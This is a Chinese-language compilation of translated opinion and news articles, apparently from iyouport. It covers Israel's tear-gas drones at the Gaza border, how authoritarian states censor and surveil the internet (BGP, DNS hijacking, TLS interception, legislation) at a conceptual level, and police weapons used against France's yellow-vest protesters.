视频从一个可见的多旋翼无人机开始，飞在湛蓝的天空上。一群头戴蓝色头盔的电视记者站在下面，抬头看着它。它挂在那里有一秒钟的时间，然后瞬间喷发出催泪瓦斯，挥舞着白烟的尾巴。一片骚乱，记者们开始朝着各个方向奔跑，咳嗽。镜头再次仰望蓝天，那个小小的黑点神秘地退到了远处。

欢迎来到无人机革命的下一阶段。

3月12日，以色列可能成为了有史以来第一个在现实世界中使用武装消费无人机的国家，上述是当时黎巴嫩新闻网播放的录像，一个催泪瓦斯对付加沙抗议者的录像。

部署无人机对抗抗议者—甚至是武装部队—引发了关于合法性、身份和目的的一系列令人担忧的新问题。这种用法可能是不可避免的，但国际社会至少需要尽快制定并执行法律和道德标准。

这些催泪瓦斯无人机的起源并不是什么秘密。它们由一家名为 ISPRA 的以色列国防公司制造，该公司专门从事“防暴装置、人群管理、反恐设备和警用装备”的制造。

该公司的网站包含一个关于气旋防暴无人机系统的信息手册。除以色

列之外，越来越多的武装团体和其他非国家行为者在战区使用消费型无人机。伊斯兰国、逊尼派武装、菲律宾极端主义分子等都在使用小型无人机摧毁爆炸物并进行监视。美国军方一直在使用中国公司 **DJI** 制造的消费类无人机，直到去年因安全问题而暂停。

ISPRA Cyclone 也是一种消费无人机，几乎可以肯定是 DJI S1000 + octocopter 模型的改版，它经常被摄影师使用，看起来非常像那些地面上的民用无人机。Cyclone 和 IDF 选择使用它，突显消费无人机和军用无人机之间界限的模糊，以及它们在国际人道法下的不确定地位。

至少从 2001 年起，通过无人机输送催泪瓦斯一直是被国防承包商积极试验的领域：到 2016 年，多家公司将它们提供给国防和执法部门的采购商。至少从2015年1月起，ISPRA 的专业人群控制无人机已经可用，该公司在网站上称自己是以色列国防和警察部队的“首选供应商”。

以色列国防军对消费无人机技术也不陌生：**2017** 年，他们在整个军队中分发了由中国 **DJI** 制造的可折叠 **Mavic** 无人机。尽管以色列军方消息人士告诉媒体说，通过无人机方式进行的新型人群控制手段是“实验性”的，并且在3月22日3月22日尚未投入使用，边防警察副专员 Yaakov Shabtai 对“Hadashot”电视新闻说，“这些装备帮助部队抵消了很多危险。”

但是，3月22日以后，无人驾驶飞机开始越来越多地出现。随着巴勒斯坦权力组织在3月30日以后恢复抗议，自组装军备竞赛开始了：巴勒斯坦示威者开始放飞风筝，薄薄的风筝带着燃烧着的物质穿过加沙和以色列之间的边界屏障（尽管它们常常被强风阻挡）。根据“国土报”报道，5月11日，以色列国防军招募无人机爱好者来对付风筝。无人机配备了锋利的鱼钩，以切断风筝的绳子。

一些巴勒斯坦人称，以色列国防军无人机正在使用比通常针对加沙地区人群部署的化学物质更有效的化学剂。5月14日，目击者告诉美联社，以色列无人驾驶飞机已经“放弃了燃烧材料，并布置了用于计划中对付加沙边境抗议活动的燃烧轮胎”。从那天起，一段 Twitter 视频似乎描绘了一架无人机投下一个装置击穿了帐篷，然后爆炸起火。

巴勒斯坦红新月会应急和灾害响应部门负责人 Mohammed Abu Mosabeh 说，人们仍然习惯于催泪弹从枪支中发射出来，而不是瓦斯从天而降。Mosabeh说，这种气体引起了强烈的反应，比催泪瓦斯更加高效：“有些人出现大面积惊厥反应，整个身体像触电一样震动。

其他人晕厥20或30分钟。”（这个从4月8日开始的视频显示由这种气体引起的惊厥症状）。

这些报告非常令人担忧，虽然尚未得到外部研究人员的证实。国际特赦组织的一位研究人员说，这种气体可能只是特别有效的催泪瓦斯，这本身就是危险的。

不管是什么，催泪瓦斯和无人机都已经不仅仅是加沙的问题，而是整个世界范围内的。

我们可以将两种法律框架应用于小型武器化无人机—国际人道主义法和国际人权法—并且激烈的争论在加沙适用。4月，以色列和巴勒斯坦维权团体向以色列最高法院提出请愿：这些团体认为，根据国际人权法，执法行动不允许以色列对加沙示威者使用致命火力。（红十字国际委员会和国际特赦组织等都同意这种解释）

作为回应，以色列政府就其在加沙边界的行动披露了自己的法律立场。该国认为，边界抗议活动构成以色列和哈马斯之间的武装冲突，这受到武装冲突法的约束，也被称为国际人道主义法。有争议的是，以色列认为（正如 Eliav Lieblich 在 Just Security 网站上的一篇杰出文章中所述那样）其在加沙的活动属于国际人道主义法中的一个单独的执法制度，该制度“受到鼓励”，但与国际人道主义法的执法机制实际上并不相同—从而使以色列在这种情况下对抗议者使用致命武力是合法的。

根据国际人道主义法和国际人权法，以色列对消费无人机的使用存在问题，撇开该国对规则的争议性解释。

如果国际人道法适用于加沙局势，那么以色列使用催泪瓦斯可能就是非法的。1993年“化学武器公约”禁止大多数情况下在战争中使用催泪瓦斯。以色列尚未批准“化学武器公约”，但这并不能保护它免受国际人道主义法的批评。

另一方面，如果国际人道主义法不适用于这种情况，则允许使用催泪瓦斯：“化学武器公约”是执法的例外，这就是为什么催泪弹的使用是美国抗议活动的常规特征。

以色列国防军的无人机似乎并没有任何标识能将其明确为军用飞机或以色列所有。它们似乎也没有携带转发器或其他电子识别手段，能将其识别为军用飞机。这是另一个潜在的法律问题。国际法的大多数解释都指出，军用飞机必须同时拥有国籍标志和标识，将其标识为军用

飞机。

这些标记使他们能够根据区分原则将平民区分开来，确保其他战斗人员和平民能够将其区别于民用飞机。根据国际人道法，无人驾驶飞行器（由人控制，而不是自主控制）受制于与载人飞机相同的规则和要求。我们可以将其解释为意味着以色列有义务将无人机标记为军用而不是民用飞机—就像以色列标记其他飞机一样。

然而，与有人驾驶飞机不同，无人机没有标准或习惯性的标记—而适用于更大型有人驾驶飞机的标志标准需要修改才能为其适用。仍然没有更好的方法通过电子或无线电方式在空中区分小型无人机; 虽然许多研究人员正在研究适合小型无人机的空域交通管理系统，但这项工作还需要很多时间才能见效。

在不久的将来，在军事或警察无人机更频繁出现的情况下，将使得此事变得特别棘手。新闻记者正在越来越多地使用无人机来记录事件，而援助工作人员目前正在利用无人机来获得对灾难的态势感知，并且可能会在不久的将来使用它们提供医疗用品和其他救助资源。

这很危险，一位年轻的巴勒斯坦无人机记者 **Yaser Murtaja** 在4月份死亡的事实强调了为什么危险。他最后一部片子是关于边界示威的录像，画面中抗议者大面积流泪，片子鸟瞰现场混乱的局面，从奔跑的抗议者到广阔的田野和燃烧的轮胎。Murtaja 几天后将被赶出现场。

Murtaja 在被枪杀时没有放飞无人机，但在他去世后的头几天里，许多人认为他做过。“我不知道他是不是摄影师—无论谁在以色列国防士兵头顶上操作无人机，都需要明白他在自找麻烦“，以色列国防部长 Avigdor Lieberman 于4月9日告诉国士报，暗示 Murtaja 已经将自己置于危险之中。

Lieberman 无意中捕捉到了关于无人机麻烦的中心问题。在民用无人机普及之前，很容易认为在冲突地区驾驶无人机的每个人都可能是战斗人员。也很容易争辩说，平民知道无人机本质上是危险的，因此没有必要将它们标记为军用飞机。在近乎无处不在的消费类无人机时代，情况就不再如此了。技术再次超越了法律和我们的文化。

我们没有时间来巩固对冲突中小型无人机的集体文化和法律反应。以色列不太可能成为最后一个使用无人驾驶飞机对付示威者的国家—而且武器制造商也不可能停止使用催泪弹。以杜克机器人公司的 Tikad 为例，这是一种可携带机枪、榴弹发射器和其他攻击性武器的多旋翼无人机。根据 Defense One 记录，2015年 Tikad 消费型无

人机原型就杀死了一个目标，尽管 Tikad 似乎还没有用于战斗，但那只是时间问题。2017年，康涅狄格立法者提出了一项法案，允许警方在其无人驾驶飞机上增加致命武器，而北达科他州则在2015年将小型无人机上的非致命武器合法化了。

无人驾驶飞机应该为受益于他们的平民提供服务，但自由必须与安全平衡。首先，国际社会应该根据国际人道主义法建立标准化的国际标识系统，光线模式或颜色，以指定不同种类的无人机—例如蓝色是新闻媒体，红色是援助组织、黑色是武装团体。这些标记的建立将使记者和援助人员等平民能够将他们的无人机与冲突中其他行为体所使用的无人机区分开来，从而降低发生致命身份错误的风险。

这将是一个开始，但还明显不够。所有在冲突和其他复杂环境中操作无人机的各方最终都需要标准化的可靠电子解决方案，以在空域内明确识别无人机。这可能会采取小型 ADS-B 转发器的形式，如有人驾驶飞机使用的转发器或“电子车牌”那样。

还有另外一个法规和法律压力。Omega 研究基金会的研究人员在2015年呼吁禁止化学武器组织对无人机散布化学品进行法律审查。立法者在国内和国际层面都应遵循澄清用于催泪瓦斯的无人机的法律地位以及其他执法目的，无论是致命的还是其他目的。

我们已经进入了无人机的时代。然而，我们仍然不知道无人机适用于国际习惯法，还是适合我们现有的道德和操作系统。无人机可能有摄像头，但地上的人可没有识别能力。

Drones Don’t Wear Uniforms. They Should.

Israel’s use of consumer drones against protesters heralds a dangerous, lawless age of conflict.

原文

独裁者的监视指南 - iyouport

技术暴政监视之恶-关于你可能还不知道的真相维稳面面观

【2019年6月12日存档】审查局的工作人员显然少于25人-- 但是，他们得到了全国公民监视网络的支持，这些”群众”每天提交一千多份报告！独裁者指南中新添了哪些内容？

如果你是一个财力雄厚的并有反乌托邦决心的独裁者，利用互联网来控制向群众提供的信息并监控他们所说的任何话，将前所未有的容易。

以前人们说知识就是力量—— 在互联网时代，信息就是力量。多年来当权者一直试图控制信息的流动，以保持权力的稳固。如果你依旧认为互联网是一项解放技术，那就彻底错了。

要了解如何在整个国家/地区锁定互联网，首先您必须了解互联网是什么以及它是如何运作的。详见 IYP 分类知识列表：“监视资本主义”、“军事工业综合体”、“新时代暴政”。

从最简单的层面来看，互联网的基础设施是相当集中化的：数据通过中央路由系统传输到骨干网。这种基础设施可以被认为是从一个国家到另一个国家的电力管道。然后，每个国家将使用无数较小的管道接入该供应，以便将电力输送到不同城市和地区的分站，然后每个分站将使用更小的管道将电力输送到个别家庭。

整个过程中控制互联网流量的阻塞点有很多。对这些阻塞点施加控制是任何独裁策略的关键。

＃1：虚拟边界网关协议路由

互联网数据流动的核心是边界网关协议（BGP），它管理数据在互联网上传输时所采用的路由，并确保它在最短的时间内通过使用最短的路径到达目的地。

然而，精通互联网的独裁者可以通过创建虚拟BGP路由来阻止他们的公民访问某些站点，这些路由会强制互联网流量绕过这些站点。

“使用 BGP 控制你所在国家的所有互联网路由是一种焦土方法”，技术记者 Simon Bisson 说道，他建立了英国首个国家ISP之一，并花了几年时间开发网络大型在线服务的架构。

让人们不受阻碍地访问互联网，这种技术并不是特别难以实现—但你最终可能会阻止无意识的连接。“当巴基斯坦在2008年意外阻塞 YouTube 时，我们已经看到了这种情况，”Bisson 说。事实证明，当国家之间移动数据的主要路线很少时，民族国家实际上并不难控制互联网接入。“互联网协议在学术界成长，因此不足为奇，”Bisson 指出。“它们是由理想主义者设计的，空想家很容易颠覆它们。”

＃2：DNS劫持

颠覆的最简单协议之一是域名系统（DNS），它就相当于您的智能手机上的联系人列表。DNS 将我们键入的网站地址转换为机器可以理解的互联网协议（IP）地址。就如在智能手机上，您可以选择要联系的人员的姓名，设备会将该请求解析为电子邮件地址或电话号码。在互联网上，您可以在浏览器中输入www.google.com等域名以访问Google，DNS将其解析为IP地址，例如 74.125.224.72（或用于平衡搜索服务器之间繁重流量负载的许多其他IP地址之一）。

通过将 DNS 服务器配置为解析不同于实际请求的IP地址，独裁者就可以将互联网用户指向该国政权喜欢的任何站点而不是用户所要求的站点—并且相对容易且成本低廉。

“DNS 中毒（也称为劫持）可以阻止终端系统实际联系所请求的服务，”阿尔斯特大学网络安全教授和高级电气和电子工程师协会（IEEE）成员 Kevin Curran 解释道，实现阻止IP地址，例如Google的8.8.8.8和用于DNS的 Cloudflare 的1.1.1.1也可以。

这样做还能让你看到由国家控制的“防火墙”中的任何加密流量。合乎逻辑的下一步就是在网络边缘设置你自己的加密协议和解密工具，允许您监视互联网上任何人之间的任何通信。

使用您自己的证书和拦截然后解码你的国家防火墙上的传输层安全性协议（TLS）/安全套接字层协议（SSL）加速器硬件中的流量。一些国家/地区已使用全局控制的证书替换所有此类证书，以便更轻松地解密流量。DNS 劫持作为一种网络犯罪技术已经相当普遍，并且，已

被伊朗黑客用于网络间谍活动，以及中国，作为其审查策略的一部分。毕竟，当你拥有钥匙时，所有锁都打开了。

#3：个别网站

对于想要在审查中更具选择性的独裁者，有超文本传输协议（HTTP）阻止，这将允许审查员阻止网站的特定页面。“由于对HTTPS无效，因此这种情况越来越不受欢迎，”OONI 项目负责人兼工程师 ArturoFilastò 表示，该项目是 Tor 项目下的一个免费软件项目，旨在提高互联网的透明度抵制世界各地的审查制度。

尽管如此，仍然有很多网站使用 HTTP，HTTPS协议—世界上大多数访问量最大的网站使用的协议—也可以在称为服务器名称指示（SNI）字段的区域中阻止。但这将使效率降低。

相反，如果你拥有一组忠诚的审查员，就可能会选择阻止传输控制协议（TCP）。作为互联网上最常见的传输协议，TCP连接两个主机，如某人的设备和他们试图连接的服务器—但实现称为TCP重置报文攻击（RST）的东西就可以“很有用了”。

但这种方法需要跟踪整个互联网数据流，并且足够的可见性能够知道哪些连接被选择性地阻止了。这使得对于那些希望控制互联网的当权者来说比较昂贵，同时需要人力和技术资源—因此对于较小的新兴独裁国家来说，这不是一个普遍适用的解决方案。

“这是一种非常复杂的技术，通常需要改变基础设施本身，”Filastò 说。“然而，它可以在像中国这样的大国范围内有效地完成。”

中国真的做到了。Great Firewall 使用了上面提及的所有方法来阻止对某些站点的访问并重新路由某些站点请求。此外，中国政府显然雇佣了至少5万人，以实施其极端的审查制度，阻止网站并过滤搜索引擎对当局不喜欢的内容的请求。

然而，中国模式并不完全是互联网审查的即插即用模式。根据 Filastò 的说法，其他希望效仿中国的国家显然面临着基础设施问题。

如果专制国家已经拥有现有的和更加分散的基础设施，则它需要要求ISP独立实施站点和服务阻止临时和变化的基础。“这类国家通常会有检查方法来验证ISP是否正在充分实施这些阻塞，“Filastò 说。俄罗斯就是这样一个例子。

独裁者寻求的是实施定制的集中化互联网基础设施。虽然代价高昂，

但独裁者通过计算会认为自由互联网所造成的政治风险更高，以至于不惜浪费更多时间、金钱和人才来解决这个问题。

控制互联网武器库中最大的武器是立法机构。

中国的所谓“网络安全法”于2017年6月1日正式通过，汇集了众多规则和法规，不仅适用于信息安全，还适用于信息控制。中国以外的观察者首先注意到的一件事是VPN合规法。也就是2015年我们警告过的“VPN可控”。控制VPN的使用对任何专制国家都是至关重要的，虽然这可能对该国的游客影响不大，但罚款和监禁的真正威胁可能使当地居民难以使用它们。

更多详见：《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》

根据“网络安全法”，网络运营商和社交媒体公司长期被要求以真实姓名注册用户，而所有公司都必须立即停止传输被当局禁止的内容。

法律还坚持所有关于中国用户的数据都在国内托管，当局可以轻松访问。中国甚至最近出台了一些法规，禁止区块链提供者制作、复制、发布和传播中国法律禁止的内容—主要是为了回应#MeToo活动家将内容保存在区块链上以绕过审查控制。

不幸的是—或者对于审查机构来说幸运的是—这些措施在很大程度上成功地削弱了中国的互联网。

“很难知道中国有多少人会经常穿越防火墙来访问全球互联网，但研究表明它很低，约为2%，” 大赦国际的商业和人权战略分析师 William Nee 说，“在某种程度上，中国的做法不仅依赖于审查制度的硬件和技术能力，而且还依赖于制定商业激励措施以遵守其严格的互联网控制。”

总的来说，中国似乎已经很好地管理了信息控制与经济增长之间的平衡。其中一部分原因可能是它保护了随后蓬勃发展的本土科技公司。“我认为他们能够非常有效地达到他们的审查目标，中国的大多数人都依赖百度和微博等国家控制的在线服务，而不是国际同行”，Filastò 说。

在许多专制国家你都可以看到与中国相似的控制互联网的方式及立法。

在委内瑞拉，法律变更宣布了政府对互联网的主权，并引入了“内容

安全”的概念，以“确保政治秩序和反仇恨”。马杜罗总统最近提出了“网络空间宪法法案”，该法案将成立一个新的马杜罗赞助的监管网络世界的权力机构，并赋予它决定在线允许和不允许哪些信息的权力。

例如，这个权威机构可能要求消息传递服务在没有司法命令的情况下审查内容，对松散定义的“关键基础设施”进行酌情控制，并进一步执行“反仇恨法”，根据此法案那些在社交媒体上被发现“煽动仇恨”的人会被判最高20年的刑期。

俄罗斯是另一个例子，一个通过压制性立法而不是纯粹的技术方法来实施互联网控制的案例。俄罗斯互联网限制法案于2012年通过，使政府能够阻止它想要的任何网站。虽然联邦法律引入了爱国主义和公民保护的借口，但它实际上具有更多的压制性。

该法案赋予了政府广泛的权力，关闭倡导“极端主义”或对儿童健康和发展“有害”的网站; 这两者都是非常主观的判断。例如，需要将俄罗斯公民的数据存储在社交网络和消息服务中，以便将这些数据存储在位于俄罗斯的服务器上，这使得他们可以接受国家监视。LinkedIn 已被禁止在俄罗斯运营，Telegram 也是如此。

沙特阿拉伯在全面禁止任何被视为不道德的行为的情况下，制作了很多互联网控制法律。这意味着它能够定罪任何批评该政权的神职人员或王室的博主。其中一位博客作者 Raif Badawi 在2012年因侮辱伊斯兰教而被判处10年监禁。

最近该国还增加了新的法律，即任何分发在线内容“通过社交媒体扰乱公共秩序、宗教价值观和公共道德”的人都可以被视为网络犯罪分子，将被处以5年监禁和300万沙特里亚尔罚款（ £600000）。

与数万名员工运营的中国防火墙不同，沙特阿拉伯审查局的工作人员显然少于**25**人—— 但是，他们得到了全国公民监视网络的支持，这些“群众”每天提交一千多份报告。也许令人惊讶的是，最活跃的政府线人可以在学生群体和宗教团体中找到。

虽然惩罚性法律可以让内容提供商负责确保内容不违反国家对所谓“非法”材料的规定，但最终审查的更大份额需要由国家雇员来完成。而如今，AI 正在彻底改变审查和监视人力资源的分配。

就像世界各地的现代企业转向大数据技术（如ML）以了解所产生的大量信息一样，专制国家可以使用ML分析大量的浏览数据来确定什

么内容应自动被审查。这可能会使一个小型国家的独裁者掌握中国那种规模的权力，即 拥有数千人的审查机构才能实现的管制规模。

阿尔斯特大学网络安全教授 Kevin Curran 相当肯定AI将在未来的互联网监控系统中发挥重要作用。“构建用于监控的静态过滤系统不足以检测网络上不断增加的流量，但可以使用更复杂的技术，例如模式识别，以发现以前未知的流量。”

无论你是在谈论以人为本的监控中心还是人工智能驱动的开发项目，那些想要更好地控制互联网内容的独裁者都有很大的优势。

英国拥有世界上最极端的监视法之一—“2016年调查权力法案”（俗称“流氓宪章”）的所在地—实施新法律的成本估计高达12亿英镑，而英国政府预测建议10年内运营成本高达560万英镑。

较小的国家从零开始建立审查制度可能会面临更高的启动成本，以及运行日常审查操作的额外成本。作为一个代表更大操作的单一、本地化元素的例子，据报道，仅圣彼得堡就有数百名全职雇佣的**trolls**，他们每人每月只需支付**800**美元（**600**英镑）负责亲克里姆林宫的宣传。

中国正在积极出口其监视技术和分析工具，为白俄罗斯、古巴、越南和津巴布韦等人权记录较差的国家提供服务。这种技术和专有技术的出口也有助于出口互联网控制意识形态，通过传播专制政权的意图，很好地服务于中国的全球经济野心。

例如，中国政府一直在撒哈拉以南的非洲地区寻求安全和监视的协议，这些战略目标隐藏在利他主义意图背后。这些交易有助于中国为其商品获取急需的原材料和开放市场，从而获得“与当地领导人的经济和政治杠杆”。

在埃塞俄比亚，中国获得了一项8亿美元（6亿英镑）的合同，提供电信工具包以加强埃塞俄比亚的审查制度，埃塞俄比亚通过帮助阻止批评北京的联合国决议“表示感谢”，支持中国在西藏的镇压政策。

“不幸的是，硬件必须来自爱立信、华为和**CISCO**等标准供应商，”Curran 说。“这是因为硬件需要基于标准才能与外界兼容，工业网络设备不容易创建。”为此，在数十个安全展览会上有无数的“维稳解决方案提供商”，以满足军方和政府客户的需求。

这个独裁者的互联网监控和审查指南可能会让普通的互联网用户感觉

有点沮丧，因为它看起来是如此容易。毫无疑问，民族国家的防火墙、奥威尔的监视水平和政治动机的审查是21世纪的现实—但这并不意味着个人无法反击专制机器。

请参见我们曾经提供的保护性措施《安全手册》。自己动手丰衣足食。

The Dictator’s Guide to Internet Surveillance and Censorship. Using the internet to control what information is made available to the masses and monitor what they might be saying is all too easy if you’re a dictator with deep pockets and a dystopian determination.

原文

现代维稳战术一瞥 - iyouport

维稳面面观

【2019年4月11日存档】一个惊人的长报告，关于现代维稳战术，警方如何使用暴徒故意制造混乱并栽赃和平示威者、如何使用极端武器造成大量抗议者永久性伤残 ... 多个视频展示这些噩梦。中国社会有必要了解，尤其是如何团结一致才能抵御威胁

“两个多月来，走上街头的人们一直在遭到政府镇压“。黄背心—或 Gilets Jaunes（GJs）于2019年2月2日星期六抗议活动前发布声明，当时有成千上万的 GJ 走上全国各大城市的街头参加 Acte XII（第12周）的抗议活动，这些活动自2018年11月17日首次开启以来一直是每周一次。

在越来越不受欢迎的总统埃马纽埃尔·马克龙（Emmanuel Macron）提出一系列措施来保护法国富豪精英同时惩罚那些已经处于贫困边缘的人之后，GJ 运动突然出现了风暴。燃油税的增加是最后一根稻草，每个月都在努力维持生计的压力人口终于爆发了。

地理学家 Christophe Guilluy 在2014年就预测到了这次起义的可能性。Guilluy 展示了法国大多数主要城市的人口统计数据，这些城市包括富裕的工业资本主义的中心，周围是贫民区和边缘化的郊区，估计有60%的人口居住在这里。对于那些在郊区生活的人来说，开车到市中心停车工作可能要花费每月250欧元（284美元）燃料成本增加的影响将最严重地打击这些人。

历史学家和作家 Diana Johnstone 最好地解释了黄背心的起源，作为这种有机的基层运动的象征。黄背心是每个法国公民都知道的东西，当发生交通事故时在救护车还没来之前必须穿着背心，以防止其他过往车辆由于看不见而碾压伤者。在抗议期间穿黄色背心意味着法国公民不接受政府的无视和碾压。黄背心运动发言人*Jerome Rodrigues*在*2019*年*1*月*26*日的*Acte XI*期间被*GLIF4*手榴弹和*LBD40*子弹击中了眼睛

在2019年1月26日巴黎著名的 Gilet Jaune 发言人 Jerome Rodrigues 令人震惊的成为了攻击目标后运动开始升级。Rodrigues 在游行期间一直在拍摄录像，当时 Black Bloc 特遣队的到来使他呼吁 GJ 撤退并避免即将面临的暴力事件。

在他拍摄的录像中你可以看到警方的维稳大部队如何挺进，并开始瞄准撤退中的和平抗议者 GJ。**Rodrigues** 首先成为了 **GLIF4** 手榴弹的目标，该手榴弹就在他附近引爆，然后被 **LBD40**“闪光球”子弹击中了他的眼睛。住院后，**Rodrigues** 告诉他的数千名粉丝，他的眼睛废了。由于他是一名水管工，这种毫无意义的伤害将对他的维生能力产生灾难性的影响。这个就是那种警察用的*LBD40*“闪光球”子弹发射器

Rodrigues 只是19个GJ中的一个，这些人都被安全部队大量使用的 LBD40 子弹发射器弄瞎了眼睛。这个 **LBD40** 是其臭名昭著的前身**“flashball**子弹**”10**倍的速度。现代 **LBD40** 发射器是一种非常精确的仪器，具有“红点”激光指示器瞄准器，可确保针对平民的精确定位。

最近，法国人权组织、联合国人权专员和法国医学界的成员明确告诫不要在人群中使用 LBD40。虽然它被归类为“非致命”武器，但是在违反规定、近距离和不稳定的人群环境中使用时，它真的是致命的，并且能够对人体造成可怕的伤害—— 特别是脸部，脸部似乎成为了法国国家警察最喜欢的目标。法国安全部队开枪后，图卢兹警察实践观察站（*OPP*）成员头部受伤

在2019年2月2日星期六举行的图卢兹 Acte XII 抗议活动期间，图卢兹警察实践观察站（OPP）的一名成员遭到枪击。以下声明取自 OPP 新闻稿的翻译：

“其中一名 *OPP* 成员，杰罗姆，也是人权联盟的成员，前额遭到警察部队射击而受伤，他的头盔被严重损坏，如果他当时没戴头盔的话很可能会造成更加严重的伤害。“

新闻稿继续谴责对和平抗议者使用催泪瓦斯造成的不成比例的“恐慌”。OPP 还观察到了警方的严厉手段，声明指出：

我们的队友和 *OPP* 观察员所受的伤害*[……]*在执法行动中，警察部门不成比例地不分青红皂白地使用他们拥有的战争武器。无论受害者的行为如何，都会造成严重伤害。

OPP 呼吁禁止 LBD 和 GLIF4。并要求 BAC 警察不再参与示威游行、

要求在 GJ 游行中暂停私人维稳团体的存在。下面的照片已在社交媒体上流传; 照片中显示的是在 **GJ** 游行期间携带法国国家警察同样的武器并与官方警察一起参与维稳的平民。（你可以理解为中国的辅警，好像还更低一些，他们没有辅警那种制服，也没有编制，他们是临时拉来帮忙维稳的）

此前的调查显示，GLIF4 手榴弹也受到法国内部警察实验室调查的谴责，并已向内政部提出建议，禁止将其用于针对人群的控制行动。GLIF4 含有25克TNT，发出165分贝，可能含有粉末状的CS或催泪瓦斯，或爆炸时释放的10克橡胶颗粒。这些手榴弹是造成**GJ**示威者手部截肢、血肿和组织坏死形成的原因。在波尔多举行的*GJ*抗议活动中，*Antoine Boudinet* 被*GLIF4*手榴弹击中，失去了一只手

以下视频来自法国记者 David Dufresnes 的 Twitter 帐户，该帐户记录了所有针对平民的警察暴力违规行为。在 Acte XII 期间，巴黎共和国广场上的 GLIF4 手榴弹击中了这名平民：

尽管有充分证据表明这些武器对平民造成了严重创伤，但最高行政法院裁定 LBD40 是“法律和秩序”力量的“自卫” 必要工具。这项裁决是在 Acte XII 两天前宣布的。因此 Acte XII 知道，维稳部队继续滥用这种致命武器瞄准平民的风险很高。

法国内政部长 Christophe Castaner 还裁定，GLIF4 手榴弹将继续使用，直到库存耗尽，但未指明库存的手榴弹还有多少。

从国家军事化的警察部队公然否认对法国公民的残害负责中，可以得出的唯一结论是，国家正在有效地支持甚至鼓励在全国范围内目睹的警察野蛮行径。

Castaner 进一步否认在广场上使用有争议的 LBD40 子弹，其中 Rodrigues 就是目标。法国警察监察员国民警察局（IGPN）进行的调查指出，维稳警员在 Rodrigues 受伤中使用的就是 LBD40 发射器。

在报告中，警察承认使用 LBD40 但拒绝承认瞄准 Rodrigues，声称他们瞄准的是另一个示威者。尽管当时围绕 Rodrigues 的其他 GJ 示威者都拍摄了大量的视频证据，但 Castaner 继续反驳故意瞄准 **GJ** 运动中一位知名和受欢迎的成员。*Jerome Rodrigues* 和另一位 *LBD40* 闪光球的受害者参加了*2109*年*2*月*2*日在巴黎举行的白色三月行动

Acte XII—— 白色三月—— 是为了纪念自抗议开始以来所有被视为国家批准的针对手无寸铁的平民的野蛮行为的受害者。以下是在游行

前发布的 GJ 声明的摘录：

“经过短暂的演讲，受伤的 *Gilets Jaunes* 将继续领导游行。在游行期间，将继续要求禁止使用*Flashball LBD40* 和 *GLIF4*手榴弹等武器。……巴黎和法国所有城市将集体向伤者、受害者表示敬意，伤者已经超过数千人，数十人造成了终生残疾。

许多人的生命因国家暴力而永久性地颠倒了。有些人失去了手，有些人失去了眼睛。……他们的生命被永久性毁掉了，他们是这个国家的普通和平公民，他们正在行使抗议资本主义独裁政权的斗争权，该政权拒绝让他们过上有尊严的生活。*159*名严重受伤的*GJ*抗议者中的一些人—取自活动人士网站 *Desarmons Les*，记录了警察暴力事件以及禁止*LBD*和*GLIF4s*的活动

我前往巴黎参加了游行并亲眼目睹了整件事。我到达时，GJ 刚刚开始聚集，然后开始穿越巴黎街道—最终目的地共和国广场（Place delaRépublique）。气氛充满活力，但绝对是幽默和平的。有一种强烈的团结感，最让我印象深刻的是法国社会的广泛代表。所有阶级、所有背景、所有种族，联合起来一同反对他们的公民自由受到侵蚀，当权者威胁他们的宪法权利，他们为了抗议法国国家转变为习惯性镇压的富豪统治。*GJ*抗议者戴着*Castaner*名字的眼罩

当抗议者四处奔波，欣赏现场音乐和色彩缤纷、富有想象力的服装时，负责维稳的 Black Bloc 或“ Casseurs ”（抢劫者）到了。大约10个 Casseurs 向 GJ 群体跑过去，穿着黑色的衣服，脸上盖着面罩。他们把一个女人推倒在地，然后再跑过来。气氛立即变了：**GJ** 开始大声呼喊 **“Degages”**或**“get out”**，我可以听到组织者的呼喊声，平静，没有暴力。

几乎立即，一些 GJ 围住了 Casseurs 并迫使他们撤退。随后出现了一定程度的混乱，在此期间，我听到抗议者谴责 Casseurs，并要求他们停止从 **GJ**游行中获利、停止他们的暴力破坏和破坏公共财产的行为。

以下视频显示了 GJs 将 Casseurs 推开的那一刻：

一位独立记者，Laurent Daure，陪同我参加游行，他说，混乱中总是很难确定 **Casseurs** 或者是否极右翼的派系，他们也支持 **GJ** 游行以借此宣传他们的议程**;** 或者他们是否是由法国政府派遣的代理人，以诋毁 **GJ** 运动。

在 Rodrigues 和其他参加过游行的 GJ 抗议者的激情演讲之后，我们在铜管乐队、鼓声和吟唱GJ歌曲和口号的嘈杂声中出发了，这些歌曲和口号已经成为这些游行的必备品—“Macron 刺客”和“ Macron demission /辞职“是最受欢迎的两个。一名抗议者戴着一个眼罩，上面画着一个靶子，以抗议警方使用*LBD40*子弹导致抗议者失明

随着我们沿着预定的路线前进，我们在他们经过的时候出现在阳台上的人数给我留下了深刻的印象，他们正在挥舞着黄色气球和法国国旗。行军队伍的后部两侧是穿着黄色背心的摩托车手，他们间歇地加速发动机以加入抗议乐团。游行队伍的不同部分携带着不同的横幅。

我看到环保活动家、无政府主义者、妇女权利运动、动物保护团体、人权团体并肩前进。我听到抗议者之间进行了激烈的政治讨论，我看到孩子们坐在父母的肩膀上吹口哨，参加一场肯定会影响他们未来的活动。整个游行是一种缤纷的色彩。在很长一段时间里，我第一次感到乐观并相信“小人物”的力量，以扭转席卷我们世界的全球主义和资本主义冒险的潮流。正如 Acte XII 的其中一张海报所说：“当小人物们站起来时，强权就必须停止支配我们。”*Gilets Jaunes, Acte XII, Feb 2, 2019. Photo*

我清楚地意识到的一件事是，当我们穿过街道时，可以看到警车的蓝色闪烁灯在我们身后几百米处。我们习惯于在英国看到警察不参加游行，而当 Casseurs 在不同时刻重新出现在游行中时，警方没有努力逮捕 Casseurs 或防止他们对商店和银行的沿街玻璃窗造成损害。事实上，**GJ** 队伍很难管理 **Casseurs**，这使得他们面临风险，并将导致一些居民、企业主和政府进一步错误的指责“ **GJ** 是造成损害的原因”。抗议者身上挂着一块木板，上面写着要求国家安全部队结束“大屠杀”

游行队伍在巴士底广场（Place de la Bastille）短暂停顿，这里就是 Rodrigues 在周末前被子弹击中的地方。GJs 去了周围的餐馆享用三明治和点心，餐厅工作人员和他们的黄背心客户之间有一种欢乐的气氛。我要再次强调，警车和汽车一直在保持着跟踪监视的有效距离，警灯闪烁。尽管这是一个良好气氛的事件，但警方并没有努力与游行者融合起来。一个标志牌上写着“没有平等分享就没有社会和平。人民不是摇钱树”

